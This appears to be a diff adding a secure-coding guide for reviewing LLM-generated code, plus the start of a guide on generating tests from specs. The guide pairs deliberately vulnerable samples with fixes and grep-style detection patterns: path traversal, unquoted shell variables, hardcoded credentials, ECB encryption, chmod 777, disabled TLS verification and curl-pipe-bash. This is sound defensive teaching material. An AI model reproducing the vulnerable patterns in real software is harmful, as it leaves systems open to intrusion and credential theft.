+    # Validate hostname format first
+    if not re.match(r'^[a-zA-Z0-9._-]+$', hostname):
+        raise ValueError("Invalid hostname")
+    result = subprocess.run(["ping", "-c", "1", hostname], capture_output=True)
+    return result.stdout
+```
+
+### Command Injection (Shell Scripts)
+
+**Vulnerable pattern:**
+```bash
+#!/bin/bash
+# LLM-generated: unquoted variable in command
+filename=$1
+cat $filename | grep "pattern"
+```
+
+**Secure alternative:**
+```bash
+#!/bin/bash
+filename="$1"
+# Validate the path is within expected directory
+realpath_file="$(realpath -- "$filename")"
+if [[ "$realpath_file" != /expected/dir/* ]]; then
+    echo "Error: path outside allowed directory" >&2
+    exit 1
+fi
+grep "pattern" -- "$filename"
+```
+
+### Path Traversal
+
+**Vulnerable pattern (Python):**
+```python
+@app.route('/files/<path:filename>')
+def serve_file(filename):
+    return send_file(os.path.join('/data', filename))
+```
+
+**Secure alternative:**
+```python
+@app.route('/files/<path:filename>')
+def serve_file(filename):
+    # send_from_directory validates the path stays within the directory
+    return send_from_directory('/data', filename)
+```
+
+### How to catch it in review
+
+- Search for string formatting in SQL: `f"SELECT`, `f"INSERT`, `f"UPDATE`, `f"DELETE`, `"SELECT.*" %`, `"SELECT.*" +`
+- Search for `shell=True` in subprocess calls
+- Search for `os.path.join` with user-controlled input without path validation
+- Search for unquoted `$variables` in shell scripts
+- Use SAST tools: Bandit (Python), ShellCheck (bash), semgrep with security rulesets
+
+---
+
+## 2. Secrets and Credentials
+
+### What LLMs get wrong
+
+LLMs frequently hardcode secrets directly into generated code. This happens because training data is full of tutorials with placeholder credentials that look real, and the model replicates the pattern. CWE-259 (Hard-coded Password) and CWE-798 (Hard-coded Credentials) are among the most common LLM-generated vulnerabilities.
+
+Copilot specifically has been shown to leak secrets from its training context -- researchers built algorithms that generate prompts designed to extract secrets by inducing Copilot to disclose original credentials from training data.
+
+### Vulnerable patterns
+
+**Hardcoded API key (Python):**
+```python
+API_KEY = "sk-proj-abc123def456..."
+client = openai.OpenAI(api_key=API_KEY)
+```
+
+**Hardcoded database credentials (Python):**
+```python
+conn = psycopg2.connect(
+    host="db.example.com",
+    user="admin",
+    password="supersecret123",
+    database="production"
+)
+```
+
+**Hardcoded token in shell script:**
+```bash
+curl -H "Authorization: Bearer ghp_abc123def456" https://api.github.com/repos
+```
+
+**Secrets in Kubernetes manifests:**
+```yaml
+env:
+  - name: DATABASE_PASSWORD
+    value: "plaintext-password-here"  # Not a Secret reference
+```
+
+### Secure alternatives
+
+**Python -- environment variables or file-based secrets:**
+```python
+import os
+API_KEY = os.environ["OPENAI_API_KEY"]
+# Or read from a mounted secret file
+with open("/run/secrets/api_key") as f:
+    API_KEY = f.read().strip()
+```
+
+**Shell -- read from file, never as CLI argument:**
+```bash
+# Read token from file (not visible in ps output)
+TOKEN="$(cat /path/to/secret/file)"
+curl -H "Authorization: Bearer ${TOKEN}" https://api.github.com/repos
+```
+
+**Kubernetes -- reference a Secret object:**
+```yaml
+env:
+  - name: DATABASE_PASSWORD
+    valueFrom:
+      secretKeyRef:
+        name: db-credentials
+        key: password
+```
+
+### How to catch it in review
+
+- Run `detect-secrets scan` or `gitleaks` on every commit (pre-commit hook)
+- Search for patterns: `password =`, `api_key =`, `token =`, `secret =` with string literal values
+- Search for `Bearer ` followed by a literal string in shell scripts
+- In Kubernetes manifests, search for `value:` under `env:` entries (should be `valueFrom:` for sensitive values)
+- Check that `.env` files are in `.gitignore`
+
+---
+
+## 3. Dependency Risks
+
+### What LLMs get wrong
+
+LLMs hallucinate package names at alarming rates. A study of 576,000 code samples across 16 LLMs found 19.7% of suggested packages were hallucinations. Open-source models hallucinate at 21.7%, commercial models at 5.2%. Critically, 43% of hallucinated package names appeared consistently across repeated prompts, making them predictable targets.
+
+This enables **slopsquatting**: attackers register packages matching commonly hallucinated names and inject malicious code. 38% of hallucinated names were similar to real package names (not random strings), making them plausible-looking.
+
+Beyond hallucination, LLMs also suggest:
+- **Outdated versions** with known CVEs (training data lag)
+- **Deprecated packages** that have been superseded
+- **Packages with known vulnerabilities** -- 80% of AI-suggested dependencies contain known risks
+
+### Vulnerable patterns
+
+**Hallucinated package (Python):**
+```python
+# LLM suggests a package that doesn't exist (or was registered by an attacker)
+from flask_security_utils import sanitize_input  # Not a real package
+```
+
+**Pinned to vulnerable version:**
+```
+# requirements.txt generated by LLM
+requests==2.25.1  # Known CVE in older versions
+pyjwt==1.7.1      # Known vulnerabilities
+```
+
+**Overly broad dependency (shell):**
+```bash
+pip install cryptography  # Without version pin -- could get a compromised version
+```
+
+### Secure alternatives
+
+- **Always verify packages exist** on PyPI/npm/etc. before using LLM-suggested imports
+- **Pin versions and verify them:**
+  ```
+  requests==2.32.3  # Verified from PyPI, no known CVEs
+  ```
+- **Use lockfiles** (`pip freeze`, `poetry.lock`, `package-lock.json`) and audit them
+- **Run dependency scanners:** `pip-audit`, `npm audit`, `trivy fs .`
+
+### How to catch it in review
+
+- Run `pip install --dry-run` or equivalent to verify packages resolve before committing
+- Use `pip-audit` / `npm audit` / `trivy` in CI to catch known vulnerabilities
+- Compare LLM-suggested package names against registry search results
+- Be suspicious of packages with very few downloads or recent creation dates
+- Search for version pins and verify them against current stable releases
+
+---
+
+## 4. Over-Permissive Defaults
+
+### What LLMs get wrong
+
+LLMs default to the most permissive configuration because it "works" with the least friction. Training data is full of tutorials and quick-start guides that use wide-open settings. The model has no concept of a deployment environment or threat model.
+
+### Vulnerable patterns
+
+**Binding to all interfaces (Python):**
+```python
+app.run(host="0.0.0.0", port=8080, debug=True)  # Exposed to network + debug mode
+```
+
+**Wide-open CORS (Python/Flask):**
+```python
+CORS(app, origins="*", supports_credentials=True)
+```
+
+**Permissive file permissions (shell):**
+```bash
+chmod 777 /app/data
+chmod 666 /etc/config/credentials.yaml
+```
+
+**Disabled TLS verification (Python):**
+```python
+requests.get(url, verify=False)
+```
+
+**Kubernetes Service exposed externally by default:**
+```yaml
+apiVersion: v1
+kind: Service
+metadata:
+  name: my-app
+spec:
+  type: LoadBalancer  # Exposed to the network
+  ports:
+    - port: 80
+```
+
+### Secure alternatives
+
+**Bind to localhost unless external access is needed:**
+```python
+app.run(host="127.0.0.1", port=8080, debug=False)
+```
+
+**Explicit CORS origins:**
+```python
+CORS(app, origins=["https://app.example.com"], supports_credentials=True)
+```
+
+**Restrictive file permissions:**
+```bash
+chmod 750 /app/data        # Owner rwx, group rx, others none
+chmod 640 /etc/config/credentials.yaml  # Owner rw, group r, others none
+```
+
+**TLS verification enabled (always):**
+```python
+requests.get(url, verify=True)  # Default, but be explicit
+# If using internal CA:
+requests.get(url, verify="/etc/ssl/certs/internal-ca.pem")
+```
+
+**ClusterIP by default, expose deliberately:**
+```yaml
+apiVersion: v1
+kind: Service
+metadata:
+  name: my-app
+spec:
+  type: ClusterIP  # Internal only, use Ingress for external access
+  ports:
+    - port: 80
+```
+
+### How to catch it in review
+
+- Search for `0.0.0.0`, `host="0.0.0.0"`, `debug=True` in application code
+- Search for `origins="*"` or `Access-Control-Allow-Origin: *` in CORS config
+- Search for `chmod 777`, `chmod 666`, or any world-readable/writable permissions
+- Search for `verify=False` in HTTP client calls
+- Search for `type: LoadBalancer` or `type: NodePort` in Kubernetes manifests without explicit justification
+- Search for `GRANT ALL` in database setup scripts
+
+---
+
+## 5. Infrastructure-as-Code Risks
+
+### What LLMs get wrong
+
+LLMs generate Kubernetes manifests and Helm charts that are functionally correct but security-negligent. They omit security contexts, resource limits, network policies, and run containers as root by default. Research (GenKubeSec, KubeGuard) found that LLMs can "confidently recommend configurations that introduce new vulnerabilities" including suggesting "allow all" rules just to satisfy constraints.
+
+### Vulnerable patterns
+
+**Privileged container (Kubernetes):**
+```yaml
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: my-app
+spec:
+  template:
+    spec:
+      containers:
+        - name: my-app
+          image: my-app:latest  # No digest, mutable tag
+          # No securityContext at all -- runs as root
+          # No resource limits -- can consume entire node
+          # No readOnlyRootFilesystem
+```
+
+**Overly broad RBAC:**
+```yaml
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: my-app
+subjects:
+  - kind: ServiceAccount
+    name: my-app
+roleRef:
+  kind: ClusterRole
+  name: cluster-admin  # Full cluster access
+```
+
+**No NetworkPolicy (default allows all traffic):**
+```yaml
+# LLMs typically omit NetworkPolicy entirely
+# Without it, any pod can talk to any other pod
+```
+
+**Helm values without security defaults:**
+```yaml
+# values.yaml generated by LLM
+replicaCount: 1
+image:
+  repository: my-app
+  tag: latest  # Mutable, unpinned
+service:
+  type: LoadBalancer  # Externally exposed
+# No securityContext, no resources, no networkPolicy
+```
+
+### Secure alternatives
+
+**Hardened container:**
+```yaml
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: my-app
+spec:
+  template:
+    spec:
+      automountServiceAccountToken: false
+      securityContext:
+        runAsNonRoot: true
+        runAsUser: 1000
+        runAsGroup: 1000
+        fsGroup: 1000
+        seccompProfile:
+          type: RuntimeDefault
+      containers:
+        - name: my-app
+          image: my-app@sha256:abc123...  # Pinned by digest
+          securityContext:
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            capabilities:
+              drop: ["ALL"]
+          resources:
+            requests:
+              cpu: 100m
+              memory: 128Mi
+            limits:
+              cpu: 500m
+              memory: 256Mi
+```
+
+**Least-privilege RBAC:**
+```yaml
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role  # Namespaced, not ClusterRole
+metadata:
+  name: my-app
+  namespace: my-namespace
+rules:
+  - apiGroups: [""]
+    resources: ["configmaps"]
+    verbs: ["get", "list"]  # Only what's needed
+```
+
+**Default-deny NetworkPolicy:**
+```yaml
+apiVersion: networking.k8s.io/v1
+kind: NetworkPolicy
+metadata:
+  name: my-app
+spec:
+  podSelector:
+    matchLabels:
+      app: my-app
+  policyTypes: ["Ingress", "Egress"]
+  ingress:
+    - from:
+        - podSelector:
+            matchLabels:
+              app: frontend
+      ports:
+        - port: 8080
+  egress:
+    - to:
+        - podSelector:
+            matchLabels:
+              app: database
+      ports:
+        - port: 5432
+```
+
+### How to catch it in review
+
+- Run `kubesec scan`, `kube-linter`, or `trivy config` against manifests
+- Search for `privileged: true`, `allowPrivilegeEscalation: true` (should almost never appear)
+- Search for `cluster-admin` in RBAC bindings
+- Check that every Deployment/StatefulSet has `resources:` limits and `securityContext:`
+- Check that every namespace has at least one NetworkPolicy
+- Search for `image:.*:latest` -- tags should be pinned to specific versions or digests
+- Check for `automountServiceAccountToken: false` on pods that don't need the K8s API
+- In Helm charts, verify `values.yaml` includes security defaults, not just functional defaults
+
+---
+
+## 6. Input Validation Gaps
+
+### What LLMs get wrong
+
+LLMs generate code that handles the happy path but skips validation of types, lengths, formats, and ranges. They omit validation unless explicitly prompted, because training data (tutorials, examples) does the same. The model has no awareness of the threat model or what inputs are user-controlled.
+
+### Vulnerable patterns
+
+**No type/length validation (Python API):**
+```python
+@app.route('/api/users', methods=['POST'])
+def create_user():
+    data = request.get_json()
+    username = data['username']  # No validation at all
+    email = data['email']        # No format check
+    age = data['age']            # No type or range check
+    db.execute("INSERT INTO users (username, email, age) VALUES (%s, %s, %s)",
+               (username, email, age))
+```
+
+**No path validation (shell):**
+```bash
+#!/bin/bash
+# LLM-generated backup script
+BACKUP_DIR="$1"
+cp -r /important/data "$BACKUP_DIR"  # No validation of $1
+```
+
+### Secure alternatives
+
+**Validated API input (Python):**
+```python
+from pydantic import BaseModel, EmailStr, Field
+
+class CreateUserRequest(BaseModel):
+    username: str = Field(min_length=3, max_length=50, pattern=r'^[a-zA-Z0-9_]+$')
+    email: EmailStr
+    age: int = Field(ge=0, le=150)
+
+@app.route('/api/users', methods=['POST'])
+def create_user():
+    data = CreateUserRequest(**request.get_json())  # Validates or raises 422
+    db.execute("INSERT INTO users (username, email, age) VALUES (%s, %s, %s)",
+               (data.username, data.email, data.age))
+```
+
+**Validated shell input:**
+```bash
+#!/bin/bash
+BACKUP_DIR="$1"
+if [[ -z "$BACKUP_DIR" ]]; then
+    echo "Error: backup directory required" >&2
+    exit 1
+fi
+if [[ ! -d "$BACKUP_DIR" ]]; then
+    echo "Error: '$BACKUP_DIR' is not a directory" >&2
+    exit 1
+fi
+# Resolve and validate path
+REAL_DIR="$(realpath -- "$BACKUP_DIR")"
+if [[ "$REAL_DIR" != /allowed/backup/* ]]; then
+    echo "Error: backup directory must be under /allowed/backup/" >&2
+    exit 1
+fi
+cp -r /important/data "$REAL_DIR"
+```
+
+### How to catch it in review
+
+- Check that all API endpoints use schema validation (Pydantic, marshmallow, JSON Schema, Joi)
+- Search for `request.get_json()`, `request.args`, `request.form` usage without subsequent validation
+- In shell scripts, check that all positional parameters (`$1`, `$2`, etc.) are validated before use
+- Look for direct use of user input in file operations, database queries, or system commands
+- Verify that numeric inputs have range checks and string inputs have length/format checks
+
+---
+
+## 7. Error Handling That Leaks Information
+
+### What LLMs get wrong
+
+LLMs generate code with verbose error handling that exposes internal details -- stack traces, file paths, database schemas, SQL queries, internal hostnames. This happens because training data includes development-mode error handling, and the model doesn't distinguish between dev and production contexts.
+
+### Vulnerable patterns
+
+**Leaking stack traces (Python/Flask):**
+```python
+@app.errorhandler(Exception)
+def handle_error(e):
+    return jsonify({
+        "error": str(e),
+        "traceback": traceback.format_exc(),  # Full stack trace
+        "query": last_query,                   # SQL query that failed
+    }), 500
+```
+
+**Leaking database details:**
+```python
+try:
+    cursor.execute(query)
+except psycopg2.Error as e:
+    return f"Database error: {e}"  # Includes table names, column names, query
+```
+
+**Leaking file paths (shell):**
+```bash
+echo "Error: failed to read config from /etc/myapp/secrets/database.yaml"
+echo "Stack: $(python3 -c 'import traceback; traceback.print_exc()')"
+```
+
+### Secure alternatives
+
+**Generic error response with internal logging:**
+```python
+import logging
+logger = logging.getLogger(__name__)
+
+@app.errorhandler(Exception)
+def handle_error(e):
+    logger.exception("Unhandled exception")  # Full details go to logs
+    return jsonify({"error": "Internal server error"}), 500  # Generic to client
+```
+
+**Safe database error handling:**
+```python
+try:
+    cursor.execute(query, params)
+except psycopg2.Error as e:
+    logger.exception("Database query failed")
+    return jsonify({"error": "A database error occurred"}), 500
+```
+
+### How to catch it in review
+
+- Search for `traceback.format_exc()` or `traceback.print_exc()` in response-building code
+- Search for `str(e)` or `repr(e)` in API responses (should go to logs, not clients)
+- Check that `DEBUG = False` / `debug=False` in production config
+- Verify error handlers return generic messages and log details internally
+- Search for internal paths (`/etc/`, `/home/`, `/var/`) in user-facing error strings
+
+---
+
+## 8. Cryptography Mistakes
+
+### What LLMs get wrong
+
+LLMs reproduce cryptographic anti-patterns from training data. CWE-780 (Use of RSA without OAEP) is the most observed weakness in Java. Common failures include using ECB mode (which leaks patterns), predictable IVs, deprecated algorithms (MD5, SHA-1 for security purposes), and rolling custom crypto. Cryptography misconfiguration appears in approximately 22-24% of security vulnerabilities across leading LLM models.
+
+### Vulnerable patterns
+
+**ECB mode (Python):**
+```python
+from Crypto.Cipher import AES
+cipher = AES.new(key, AES.MODE_ECB)  # ECB leaks patterns in ciphertext
+ciphertext = cipher.encrypt(plaintext)
+```
+
+**Hardcoded IV:**
+```python
+iv = b'\x00' * 16  # Predictable IV defeats the purpose of CBC/GCM
+cipher = AES.new(key, AES.MODE_CBC, iv=iv)
+```
+
+**MD5 for password hashing:**
+```python
+import hashlib
+password_hash = hashlib.md5(password.encode()).hexdigest()  # Broken for security
+```
+
+**Weak random for tokens:**
+```python
+import random
+token = ''.join(random.choices(string.ascii_letters, k=32))  # Not cryptographically secure
+```
+
+### Secure alternatives
+
+**AES-GCM with random IV:**
+```python
+from Crypto.Cipher import AES
+from Crypto.Random import get_random_bytes
+
+key = get_random_bytes(32)  # AES-256
+nonce = get_random_bytes(12)  # Random nonce for GCM
+cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
+ciphertext, tag = cipher.encrypt_and_digest(plaintext)
+# Store nonce + tag + ciphertext together
+```
+
+**Proper password hashing:**
+```python
+import bcrypt
+# Hashing
+password_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
+# Verification
+bcrypt.checkpw(password.encode(), stored_hash)
+```
+
+**Cryptographically secure random:**
+```python
+import secrets
+token = secrets.token_urlsafe(32)  # Cryptographically secure
+```
+
+### How to catch it in review
+
+- Search for `MODE_ECB` -- should almost never be used
+- Search for `md5`, `sha1` used for passwords or security tokens (fine for checksums, not for security)
+- Search for `random.` (stdlib) used for tokens, keys, or security values -- should be `secrets.`
+- Search for hardcoded IVs: `iv = b'`, `iv = bytes(`, `nonce = b'\x00`
+- Search for `hashlib` used directly for password storage -- should be `bcrypt`, `argon2`, or `scrypt`
+- Use `bandit` which has specific checks for weak crypto (B303, B304, B305)
+
+---
+
+## 9. Research Findings (2024-2026)
+
+### ACM / TOSEM: Security Weaknesses of Copilot-Generated Code in GitHub Projects
+Analyzed real-world Copilot-generated code on GitHub. Found 29.5% of Python and 24.2% of JavaScript snippets contained security weaknesses across 43 CWE categories. Top weaknesses: CWE-330 (insufficiently random values), CWE-94 (code injection), CWE-79 (XSS).
+
+### Large-Scale GitHub Analysis (October 2025)
+Analyzed 7,703 files from 4 AI tools across public GitHub repos. Found 4,241 CWE instances across 77 distinct vulnerability types. ChatGPT-generated code comprised 91.5% of the sample, Copilot 7.5%.
+
+### Slopsquatting Research (2025)
+576,000 code samples across 16 LLMs: 19.7% of suggested packages were hallucinations (205,474 unique fake names). Open-source models hallucinated at 21.7%, commercial at 5.2%. 43% of hallucinated names appeared consistently (predictable, attackable).
+
+### Endor Labs: State of Dependency Management (2025)
+80% of AI-suggested dependencies contain known risks. 44-49% of dependencies imported by coding agents contained known security vulnerabilities.
+
+### Copilot Code Review Study (2025)
+GitHub Copilot's code review feature frequently fails to detect critical vulnerabilities (SQL injection, XSS, insecure deserialization). Primarily flags low-severity issues like coding style.
+
+### Sonar: Coding Personalities of Leading LLMs (2025)
+Multi-model analysis finding that cryptography misconfiguration appears in 22-24% of vulnerabilities across leading models. Missing input sanitization is the most common flaw category.
+
+### GenKubeSec / KubeGuard (2024-2025)
+Research on LLM-generated Kubernetes configurations found models confidently recommend insecure configurations and may suggest "allow all" rules to satisfy functional requirements.
+
+### OWASP Top 10 for LLM Applications (2025 Update)
+Updated to reflect agentic AI risks. Key additions: System Prompt Leakage, Excessive Agency. Improper Output Handling (treating LLM output as trusted) remains a top-5 risk. Core message: treat all LLM output as untrusted data.
+
+### Security Degradation in Iterative Generation (2025)
+Code security degrades with iterative LLM refinement -- each round of "fix this" prompting can introduce new vulnerabilities while fixing the original one.
+
+---
+
+## 10. Practical Review Checklist
+
+Use this checklist when reviewing LLM-generated code:
+
+### Python
+- [ ] No string formatting in SQL queries (use parameterised queries)
+- [ ] No `shell=True` in subprocess calls
+- [ ] No `verify=False` in HTTP requests
+- [ ] No `random.` for security values (use `secrets.`)
+- [ ] No `hashlib.md5/sha1` for passwords (use `bcrypt`/`argon2`)
+- [ ] No hardcoded credentials (search for `password =`, `api_key =`, `token =`)
+- [ ] Input validation on all API endpoints (Pydantic, marshmallow)
+- [ ] Error handlers return generic messages, log details internally
+- [ ] `debug=False` in production config
+- [ ] All dependencies exist on PyPI and are pinned to audited versions
+- [ ] `host="127.0.0.1"` unless external binding is explicitly required
+
+### Shell Scripts
+- [ ] All variables quoted (`"$var"` not `$var`)
+- [ ] User-provided paths validated with `realpath` and boundary checks
+- [ ] No secrets as command-line arguments (use files or env vars)
+- [ ] No `chmod 777` or `chmod 666`
+- [ ] ShellCheck passes with no warnings
+
+### Kubernetes Manifests
+- [ ] `securityContext` present with `runAsNonRoot: true`, `readOnlyRootFilesystem: true`, `allowPrivilegeEscalation: false`
+- [ ] `capabilities.drop: ["ALL"]`
+- [ ] `resources.requests` and `resources.limits` defined
+- [ ] No `privileged: true`
+- [ ] No `cluster-admin` RBAC bindings
+- [ ] `automountServiceAccountToken: false` where K8s API access is not needed
+- [ ] Images pinned to digest or specific version (not `:latest`)
+- [ ] Services use `ClusterIP` by default (not `LoadBalancer`/`NodePort` without justification)
+- [ ] NetworkPolicy exists for the namespace/workload
+
+### Helm Charts
+- [ ] `values.yaml` includes secure defaults for securityContext, resources, service type
+- [ ] Templates don't embed secrets in plaintext
+- [ ] Chart version and appVersion pinned
+- [ ] `helm template` renders valid, secure manifests with default values
+- [ ] `values.schema.json` validates required security fields
+
+---
+
+## 11. Gated Model Downloads Require Out-of-Band License Acceptance
+
+### What goes wrong
+
+HuggingFace (and similar model hubs) return **403 Forbidden** for "gated" models even when the HTTP request carries a valid user token. The hub enforces that the token's user has manually accepted the license agreement on the web UI for that *specific* model. Automation cannot bypass this — there is no API to accept the license.
+
+This breaks reproducible-build scripts, container bake pipelines, and agent workflows that pull third-party ML models: the first run on a fresh account/token fails with an opaque 403 and no hint that human action is required.
+
+### Pattern
+
+Bake a pre-flight check into every model-download script:
+
+```python
+def preflight_gated_model(model_id: str, token: str) -> None:
+    r = requests.head(f"https://huggingface.co/{model_id}/resolve/main/config.json",
+                      headers={"Authorization": f"Bearer {token}"},
+                      allow_redirects=True)
+    if r.status_code == 403:
+        url = f"https://huggingface.co/{model_id}"
+        raise SystemExit(
+            f"Model {model_id} is gated. Open {url} in a browser, sign in as "
+            f"the token owner, accept the license, then rerun this script."
+        )
+    r.raise_for_status()
+```
+
+### Rules
+
+- **Surface a human-readable error on 403** — do not retry, do not fall back to a different model silently
+- **Include the exact URL** to visit and the exact action required ("accept the license")
+- **Check every gated model** at pipeline start, not lazily at download time, so the human step is front-loaded
+- **Document which models are gated** in the project's README — license acceptance is per-user, so every new operator needs to do it once
+
+Applies to any project pulling third-party ML models from HuggingFace, Meta's Llama portal, Stability AI's hub, or similar.
+
+---
+
+## 12. Operational Vulnerabilities in AI-Generated Code (Beyond Traditional SAST)
+
+Traditional SAST tools (Bandit, Semgrep, SonarQube, Snyk) focus on known vulnerability patterns — injection, XSS, hardcoded secrets. But analysis of AI-generated code at scale (538,860 findings across 3,518 scans, SentinaLayer 2026) reveals that the **top vulnerability categories are structural and operational**, not traditional:
+
+| Category | % of P0-P2 Findings | What SAST Misses |
+|---|---|---|
+| CI/CD Integrity Gaps | 31% | Gate ordering, missing dependency chains, workflow step sequencing |
+| Backend Reliability | 27% | Missing idempotency keys, premature health checks, retry logic gaps |
+| Security Overlay | 24% | Supply chain trust gaps, unverified checksums, unsigned artifacts |
+| Supply Chain Provenance | 11% | Missing signature verification, unpinned base images in multi-stage builds |
+| Data Layer Integrity | 7% | Unsafe write paths, missing concurrent-access guards, race conditions |
+
+**The single most common P0-P2 finding: missing idempotency keys in webhook handlers (18% of all critical/high/medium findings).** This is not a vulnerability that any SAST tool checks for.
+
+### Why AI agents produce these
+
+AI coding agents optimise for **functional correctness** — does the code produce the right output for the happy path? They consistently miss:
+
+1. **Retry safety.** Webhook handlers, API endpoints, and event processors that work correctly on first invocation but corrupt data on retry. Agents don't model what happens when the same request arrives twice.
+
+2. **Ordering dependencies.** CI/CD pipelines where steps depend on prior steps' artifacts but the dependency isn't explicit. Works when steps happen to run in order, breaks under parallelism or partial failure.
+
+3. **Health check timing.** Services that report healthy before their dependencies are ready. The agent sees "return 200 from /health" and implements it, without considering that the database connection pool hasn't warmed yet.
+
+4. **Checksum and signature verification.** Agents download artifacts, pull images, and install packages without verifying integrity. The code works, but the supply chain is unverified.
+
+5. **Concurrent write safety.** File operations, database writes, and cache updates that work under single-threaded testing but corrupt under concurrent access. Agents don't think about lock ordering or write-after-read races.
+
+### Deterministic checks you can add to CI
+
+These can be implemented as fast pre-scan rules (regex + AST) that run before expensive test suites:
+
+**Idempotency:**
+- Webhook handlers without idempotency key extraction/dedup
+- POST endpoints that create resources without checking for existing duplicates
+- Event processors without at-least-once safety (no dedup by event ID)
+
+**CI/CD Integrity:**
+- GitHub/Gitea Actions steps that reference artifacts from prior steps without explicit `needs:`
+- Dockerfile `COPY --from=` referencing stages without explicit ordering
+- Helm hooks without `hook-weight` when ordering matters
+
+**Supply Chain:**
+- `curl | bash` or `wget -O- | sh` without checksum verification
+- Container images pulled by tag without digest pinning
+- Package installation without lockfile or hash verification
+- `go install` / `pip install` from URLs without integrity checks
+
+**Health Checks:**
+- HTTP health endpoints that return 200 unconditionally (no dependency readiness check)
+- Liveness probes identical to readiness probes (should be different — liveness checks "am I stuck?", readiness checks "am I ready to serve?")
+- `initialDelaySeconds: 0` on readiness probes for services with startup dependencies
+
+**Concurrent Access:**
+- File writes without advisory locking (`fcntl.flock` / `flock`)
+- Database read-then-write sequences without transactions or SELECT FOR UPDATE
+- Cache operations without atomic compare-and-swap
+
+### Review checklist (operational)
+
+- [ ] Every webhook handler extracts and deduplicates by an idempotency key
+- [ ] Every POST endpoint that creates resources checks for pre-existing duplicates
+- [ ] CI/CD steps declare explicit dependencies on prior steps' outputs
+- [ ] Downloaded artifacts are verified by checksum or signature before use
+- [ ] Container base images are pinned by digest, not just tag
+- [ ] Health check endpoints verify dependency readiness, not just "process is alive"
+- [ ] Readiness and liveness probes serve different purposes
+- [ ] File and database writes under concurrent access use appropriate locking
+- [ ] Event processors handle at-least-once delivery (idempotent or deduplicating)
+- [ ] Multi-stage Docker builds have explicit stage ordering and artifact dependencies
+
+---
+
+## Sources
+
+- [Security Weaknesses of Copilot-Generated Code in GitHub Projects (ACM TOSEM)](https://dl.acm.org/doi/10.1145/3716848)
+- [Security Vulnerabilities in AI-Generated Code: A Large-Scale Analysis (arXiv, Oct 2025)](https://arxiv.org/abs/2510.26103)
+- [The Most Common Security Vulnerabilities in AI-Generated Code (Endor Labs)](https://www.endorlabs.com/learn/the-most-common-security-vulnerabilities-in-ai-generated-code)
+- [Endor Labs 2025 State of Dependency Management Report](https://www.prnewswire.com/news-releases/endor-labs-launches-2025-state-of-dependency-management-report-finds-80-of-ai-suggested-dependencies-contain-risks-302603438.html)
+- [LLMs' AI-Generated Code Remains Wildly Insecure (Dark Reading)](https://www.darkreading.com/application-security/llms-ai-generated-code-wildly-insecure)
+- [Popular LLMs Found to Produce Vulnerable Code by Default (Infosecurity Magazine)](https://www.infosecurity-magazine.com/news/llms-vulnerable-code-default/)
+- [Slopsquatting: How AI Hallucinations Are Fueling Supply Chain Attacks (Socket.dev)](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks)
+- [Slopsquatting meets Dependency Confusion (Andrew Nesbitt)](https://nesbitt.io/2025/12/10/slopsquatting-meets-dependency-confusion.html)
+- [AI-Generated Code Packages Can Lead to Slopsquatting Threat (DevOps.com)](https://devops.com/ai-generated-code-packages-can-lead-to-slopsquatting-threat-2/)
+- [OWASP Top 10 for LLM Applications 2025](https://owasp.org/www-project-top-10-for-large-language-model-applications/)
+- [OWASP LLM Top 10: How it Applies to Code Generation (Sonar)](https://www.sonarsource.com/resources/library/owasp-llm-code-generation/)
+- [The Coding Personalities of Leading LLMs (SonarSource)](https://www.sonarsource.com/the-coding-personalities-of-leading-llms.pdf)
+- [GenKubeSec: LLM-Based Kubernetes Misconfiguration Detection](https://arxiv.org/html/2405.19954v1)
+- [KubeGuard: LLM-Assisted Kubernetes Hardening](https://arxiv.org/abs/2509.04191)
+- [Security Degradation in Iterative AI Code Generation (arXiv)](https://arxiv.org/pdf/2506.11022)
+- [GitHub Copilot's Code Review: Can AI Spot Security Flaws? (arXiv)](https://arxiv.org/html/2509.13650v1)
+- [Security Risks of Vibe Coding and LLM Assistants (Kaspersky)](https://www.kaspersky.com/blog/vibe-coding-2025-risks/54584/)
+- [The Risks of Hardcoding Secrets in Code Generated by LLMs (Cycode)](https://cycode.com/blog/the-risks-of-hardcoding-secrets-in-code-generated-by-language-learning-models/)
+- [Security Flaws in DeepSeek-Generated Code (CrowdStrike)](https://www.crowdstrike.com/en-us/blog/crowdstrike-researchers-identify-hidden-vulnerabilities-ai-coded-software/)

harnesses/contexts/best-practices/v1/best-practices/mechanical-test-generation.md

@@ -0,0 +1,187 @@
+# Mechanical Test Generation from Specs
+
+Practices for writing specs that can be used as direct input to automated test-writing agents or deterministic test-generation pipelines — i.e., workflows where a script or LLM reads a spec and produces a test file with minimal human intervention. Extracted from the M15 Mechanical Process Nodes milestone review.
+
+## Core Principle: Specs Should Drive Tests Without Side-Channels
+
+A test-generation step should need only the spec file to produce correct import statements, assertion values, and mock boundaries. If the agent needs to read the PLAN, the codebase, or guess at module paths, the spec has gaps. Close them in the spec, not in the prompt.
+
+---
+
+## 1. Include a Module Layout Table
+
+**Problem:** Specs name functions (`validate_image`, `_expand_script_node`) but not their module paths. A test generator writes `from ? import validate_image` and either guesses wrong or falls back to reading the implementation.
+
+**Practice:** Add a "Module Layout" section to every spec that introduces new code. Map each group of requirements to its module path and exported symbols.
+
+```markdown
+## Module Layout
+
+| Module | Location | Key exports |
+|---|---|---|
+| Image policy | `controlplane/image_policy.py` | `ImagePattern`, `ImagePolicy`, `validate_image(image, policy) → bool` |
+| Process loader | `controlplane/process_loader.py` | `ProcessTemplate`, `load_template(name, version)` |
+```
+
+Also list the corresponding test file for each module:
+
+```markdown
+| Test file | Spec requirements covered |
+|---|---|
+| `tests/test_image_policy.py` | MP-C-1..MP-C-6 |
+| `tests/test_process_loader.py` | MP-A-1..MP-A-11 |
+```
+
+**Why:** Without this, test generators either infer the wrong path or require the PLAN as a second input, which creates coupling between planning and testing artifacts.
+
+---
+
+## 2. Mark the Integration Boundary Explicitly
+
+**Problem:** Some requirements (volume lifecycle, Docker container creation, K8s API calls) cannot be tested without a live backend. A test generator that doesn't know this boundary produces integration-class tests mixed with unit tests, breaking the standard `pytest` run.
+
+**Practice:** State in the spec which requirements require real backends and use the `@pytest.mark.integration` marker:
+
+```markdown
